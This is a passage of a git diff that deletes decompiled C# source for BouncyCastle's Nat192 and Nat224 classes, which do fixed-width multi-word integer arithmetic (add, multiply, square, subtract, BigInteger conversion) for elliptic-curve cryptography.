(long)v[vOff + 2]); - u[uOff + 2] = (uint)num; - v[vOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 3] + (long)v[vOff + 3]); - u[uOff + 3] = (uint)num; - v[vOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 4] + (long)v[vOff + 4]); - u[uOff + 4] = (uint)num; - v[vOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 5] + (long)v[vOff + 5]); - u[uOff + 5] = (uint)num; - v[vOff + 5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static void Copy(uint[] x, uint[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - z[zOff + 5] = x[xOff + 5]; - } - - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - } - - public static uint[] Create() - { - return new uint[6]; - } - - public static ulong[] Create64() - { - return new ulong[3]; - } - - public static uint[] CreateExt() - { - return new uint[12]; - } - - public static ulong[] CreateExt64() - { - return new ulong[6]; - } - - public static bool Diff(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - bool flag = Gte(x, xOff, y, yOff); - if (flag) - { - Sub(x, xOff, y, yOff, z, zOff); - } - else - { - Sub(y, yOff, x, xOff, z, zOff); - } - return flag; - } - - public static bool Eq(uint[] x, uint[] y) - { - for (int num = 5; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 2; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 192) - { - throw new ArgumentException(); - } - uint[] array = Create(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 192) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - int num = bit >> 5; - if (num < 0 || num >= 6) - { - return 0u; - } - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(uint[] x, uint[] y) - { - for (int num = 5; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool Gte(uint[] x, int xOff, uint[] y, int yOff) - { - for (int num = 5; num >= 0; num--) - { - uint num2 = x[xOff + num]; - uint num3 = y[yOff + num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool IsOne(uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 6; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 3; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(uint[] x) - { - for (int i = 0; i < 6; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 3; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = 0uL; - ulong num8 = x[0]; - num7 += num8 * num; - zz[0] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2; - zz[1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3; - zz[2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4; - zz[3] = (uint)num7; - num7 >>= 32; - num7 += num8 * num5; - zz[4] = (uint)num7; - num7 >>= 32; - num7 += num8 * num6; - zz[5] = (uint)num7; - num7 >>= 32; - zz[6] = (uint)num7; - for (int i = 1; i < 6; i++) - { - ulong num9 = 0uL; - ulong num10 = x[i]; - num9 += num10 * num + zz[i]; - zz[i] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num9; - num9 >>= 32; - zz[i + 6] = (uint)num9; - } - } - - public static void Mul(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = 0uL; - ulong num8 = x[xOff]; - num7 += num8 * num; - zz[zzOff] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2; - zz[zzOff + 1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3; - zz[zzOff + 2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4; - zz[zzOff + 3] = (uint)num7; - num7 >>= 32; - num7 += num8 * num5; - zz[zzOff + 4] = (uint)num7; - num7 >>= 32; - num7 += num8 * num6; - zz[zzOff + 5] = (uint)num7; - num7 >>= 32; - zz[zzOff + 6] = (uint)num7; - for (int i = 1; i < 6; i++) - { - zzOff++; - ulong num9 = 0uL; - ulong num10 = x[xOff + i]; - num9 += num10 * num + zz[zzOff]; - zz[zzOff] = (uint)num9; - num9 >>= 32; - num9 += num10 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num9; - num9 >>= 32; - num9 += num10 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num9; - num9 >>= 32; - num9 += num10 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num9; - num9 >>= 32; - num9 += num10 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num9; - num9 >>= 32; - num9 += num10 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num9; - num9 >>= 32; - zz[zzOff + 6] = (uint)num9; - } - } - - public static uint MulAddTo(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = y[4]; - ulong num6 = y[5]; - ulong num7 = 0uL; - for (int i = 0; i < 6; i++) - { - ulong num8 = 0uL; - ulong num9 = x[i]; - num8 += num9 * num + zz[i]; - zz[i] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5 + zz[i + 4]; - zz[i + 4] = (uint)num8; - num8 >>= 32; - num8 += num9 * num6 + zz[i + 5]; - zz[i + 5] = (uint)num8; - num8 >>= 32; - num8 += num7 + zz[i + 6]; - zz[i + 6] = (uint)num8; - num7 = num8 >> 32; - } - return (uint)num7; - } - - public static uint MulAddTo(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = y[yOff + 4]; - ulong num6 = y[yOff + 5]; - ulong num7 = 0uL; - for (int i = 0; i < 6; i++) - { - ulong num8 = 0uL; - ulong num9 = x[xOff + i]; - num8 += num9 * num + zz[zzOff]; - zz[zzOff] = (uint)num8; - num8 >>= 32; - num8 += num9 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num8; - num8 >>= 32; - num8 += num9 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num8; - num8 >>= 32; - num8 += num9 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num8; - num8 >>= 32; - num8 += num9 * num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num8; - num8 >>= 32; - num8 += num9 * num6 + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num8; - num8 >>= 32; - num8 += num7 + zz[zzOff + 6]; - zz[zzOff + 6] = (uint)num8; - num7 = num8 >> 32; - zzOff++; - } - return (uint)num7; - } - - public static ulong Mul33Add(uint w, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = w; - ulong num3 = x[xOff]; - num += num2 * num3 + y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = x[xOff + 1]; - num += num2 * num4 + num3 + y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - ulong num5 = x[xOff + 2]; - num += num2 * num5 + num4 + y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - ulong num6 = x[xOff + 3]; - num += num2 * num6 + num5 + y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - ulong num7 = x[xOff + 4]; - num += num2 * num7 + num6 + y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - ulong num8 = x[xOff + 5]; - num += num2 * num8 + num7 + y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - return num + num8; - } - - public static uint MulWordAddExt(uint x, uint[] yy, int yyOff, uint[] zz, int zzOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * yy[yyOff] + zz[zzOff]; - zz[zzOff] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 1] + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 2] + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 3] + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 4] + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 5] + zz[zzOff + 5]; - zz[zzOff + 5] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33DWordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y & 0xFFFFFFFFu; - num += num2 * num3 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = y >> 32; - num += num2 * num4 + num3 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num4 + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(6, z, zOff, 4); - } - return 0u; - } - - public static uint Mul33WordAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = y; - num += num2 * x + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(6, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordDwordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(6, z, zOff, 3); - } - return 0u; - } - - public static uint MulWord(uint x, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < 6); - return (uint)num; - } - - public static void Square(uint[] x, uint[] zz) - { - ulong num = x[0]; - uint num2 = 0u; - int num3 = 5; - int num4 = 12; - do - { - ulong num5 = x[num3--]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[0] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[1]; - ulong num10 = zz[2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[2]; - ulong num13 = zz[3]; - ulong num14 = zz[4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[3]; - ulong num16 = zz[5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[4]; - ulong num19 = zz[7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[5]; - ulong num22 = zz[9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num20 += (num19 >> 32) + num21 * num15; - num22 += (num20 >> 32) + num21 * num18; - num23 += num22 >> 32; - num11 = (uint)num17; - zz[6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num19; - zz[7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[11] + (uint)(int)(num23 >> 32); - zz[11] = (num11 << 1) | num2; - } - - public static void Square(uint[] x, int xOff, uint[] zz, int zzOff) - { - ulong num = x[xOff]; - uint num2 = 0u; - int num3 = 5; - int num4 = 12; - do - { - ulong num5 = x[xOff + num3--]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[zzOff] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[xOff + 1]; - ulong num10 = zz[zzOff + 2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[zzOff + 1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[xOff + 2]; - ulong num13 = zz[zzOff + 3]; - ulong num14 = zz[zzOff + 4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[zzOff + 2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[xOff + 3]; - ulong num16 = zz[zzOff + 5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[zzOff + 6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[zzOff + 3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num14 &= 0xFFFFFFFFu; - num17 += num16 >> 32; - num16 &= 0xFFFFFFFFu; - ulong num18 = x[xOff + 4]; - ulong num19 = zz[zzOff + 7] + (num17 >> 32); - num17 &= 0xFFFFFFFFu; - ulong num20 = zz[zzOff + 8] + (num19 >> 32); - num19 &= 0xFFFFFFFFu; - num14 += num18 * num; - num11 = (uint)num14; - zz[zzOff + 4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num16 += (num14 >> 32) + num18 * num9; - num17 += (num16 >> 32) + num18 * num12; - num16 &= 0xFFFFFFFFu; - num19 += (num17 >> 32) + num18 * num15; - num17 &= 0xFFFFFFFFu; - num20 += num19 >> 32; - num19 &= 0xFFFFFFFFu; - ulong num21 = x[xOff + 5]; - ulong num22 = zz[zzOff + 9] + (num20 >> 32); - num20 &= 0xFFFFFFFFu; - ulong num23 = zz[zzOff + 10] + (num22 >> 32); - num22 &= 0xFFFFFFFFu; - num16 += num21 * num; - num11 = (uint)num16; - zz[zzOff + 5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num17 += (num16 >> 32) + num21 * num9; - num19 += (num17 >> 32) + num21 * num12; - num20 += (num19 >> 32) + num21 * num15; - num22 += (num20 >> 32) + num21 * num18; - num23 += num22 >> 32; - num11 = (uint)num17; - zz[zzOff + 6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num19; - zz[zzOff + 7] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num20; - zz[zzOff + 8] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num22; - zz[zzOff + 9] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num23; - zz[zzOff + 10] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[zzOff + 11] + (uint)(int)(num23 >> 32); - zz[zzOff + 11] = (num11 << 1) | num2; - } - - public static int Sub(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)x[0] - (long)y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)x[1] - (long)y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)x[2] - (long)y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)x[3] - (long)y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)x[4] - (long)y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)x[5] - (long)y[5]; - z[5] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int Sub(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)x[xOff] - (long)y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)x[xOff + 1] - (long)y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)x[xOff + 2] - (long)y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)x[xOff + 3] - (long)y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)x[xOff + 4] - (long)y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)x[xOff + 5] - (long)y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubBothFrom(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0] - y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1] - y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2] - y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3] - y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4] - y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5] - y[5]; - z[5] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5]; - z[5] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)z[zOff] - (long)x[xOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - (long)x[xOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)z[zOff + 2] - (long)x[xOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)z[zOff + 3] - (long)x[xOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)z[zOff + 4] - (long)x[xOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)z[zOff + 5] - (long)x[xOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - return (int)num; - } - - public static BigInteger ToBigInteger(uint[] x) - { - byte[] array = new byte[24]; - for (int i = 0; i < 6; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, 5 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[24]; - for (int i = 0; i < 3; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 2 - i << 3); - } - } - return new BigInteger(1, array); - } - - public static void Zero(uint[] z) - { - z[0] = 0u; - z[1] = 0u; - z[2] = 0u; - z[3] = 0u; - z[4] = 0u; - z[5] = 0u; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat224.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat224.cs deleted file mode 100644 index 67fee71..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat224.cs +++ /dev/null @@ -1,1169 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat224 -{ - private const ulong M = 4294967295uL; - - public static uint Add(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)y[6]); - z[6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Add(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - num += (ulong)((long)x[xOff] + (long)y[yOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)y[yOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)y[yOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)y[yOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)y[yOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)y[yOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)y[yOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0] + z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1] + z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2] + z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3] + z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)y[4] + z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)y[5] + z[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)y[6] + z[6]); - z[6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - num += (ulong)((long)x[xOff] + (long)y[yOff] + z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)y[yOff + 1] + z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)y[yOff + 2] + z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)y[yOff + 3] + z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)y[yOff + 4] + z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)y[yOff + 5] + z[zOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)y[yOff + 6] + z[zOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)z[3]); - z[3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[4] + (long)z[4]); - z[4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[5] + (long)z[5]); - z[5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[6] + (long)z[6]); - z[6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, int xOff, uint[] z, int zOff, uint cIn) - { - ulong num = cIn; - num += (ulong)((long)x[xOff] + (long)z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 4] + (long)z[zOff + 4]); - z[zOff + 4] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 5] + (long)z[zOff + 5]); - z[zOff + 5] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 6] + (long)z[zOff + 6]); - z[zOff + 6] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddToEachOther(uint[] u, int uOff, uint[] v, int vOff) - { - ulong num = 0uL; - num += (ulong)((long)u[uOff] + (long)v[vOff]); - u[uOff] = (uint)num; - v[vOff] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 1] + (long)v[vOff + 1]); - u[uOff + 1] = (uint)num; - v[vOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 2] + (long)v[vOff + 2]); - u[uOff + 2] = (uint)num; - v[vOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 3] + (long)v[vOff + 3]); - u[uOff + 3] = (uint)num; - v[vOff + 3] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 4] + (long)v[vOff + 4]); - u[uOff + 4] = (uint)num; - v[vOff + 4] = 